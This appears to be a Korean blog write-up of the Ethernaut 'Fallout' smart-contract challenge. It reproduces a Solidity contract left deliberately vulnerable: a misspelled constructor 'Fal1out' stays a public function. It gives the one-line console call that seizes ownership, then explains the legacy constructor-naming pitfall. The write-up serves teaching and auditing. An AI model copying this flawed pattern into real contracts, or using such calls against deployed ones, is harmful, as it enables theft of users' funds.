[Ethernaut] 2. Fallout

Ethernaut · 3/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

아래의 컨트랙트의 소유권을 탈취해라.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

2. 컨트랙트의 소유권 탈취

 컨트랙트 내부에서 소유권이 이전되는 부분을 확인해 보시면 단 하나 밖에 존재하지 않는 것을 확인할 수 있습니다. 바로 Fal1out 함수입니다.

/* constructor */
function Fal1out() public payable {
  owner = msg.sender;
  allocations[owner] = msg.value;
}

 어? 그럼 그냥 Fall1out 함수에 이더 조금 쥐어주고 호출하면 소유권 가져올 수 있는거 아니야?

2-1. Fal1out 함수 호출

await contract.Fal1out({value: toWei("0.0000000001")})

2-2. 소유권 이전 확인

2-3. 결과물 제출

 이게 진짜 되네


3. 그래서 뭐가 문제임?

 Fal1out 함수의 상단을 보시면 ‘constructor’라는 주석이 달려있습니다.

/* constructor */
function Fal1out() public payable {
  owner = msg.sender;
  allocations[owner] = msg.value;
}

 찾아보니 solidity 0.4 이하의 버전에서는 함수의 이름을 컨트랙트의 이름과 동일하게 지정을 해주면 생성자 함수로 사용할 수 있었다고 합니다. 생성자 함수의 이름을 Fallout으로 적어야 될 것을 철자 하나가 틀려서 Fal1out으로 적었더니 해킹을 당해버렸다~하는 문제였습니다.

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fallout() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  ...
}

 저는 solidity 버전 0.8.x 유입으로 constructor만 사용을 해봐서 이런 방법이 있다는 것도 처음 알았습니다. 지금에 와서는 금지된 방법(최신 버전)이기도 하고 너무 고전적인 문제라 별 감흥은 없네요.


4. 결론

철자 틀리면 해킹당한다. 감사(Audit) 꼼꼼히 하자.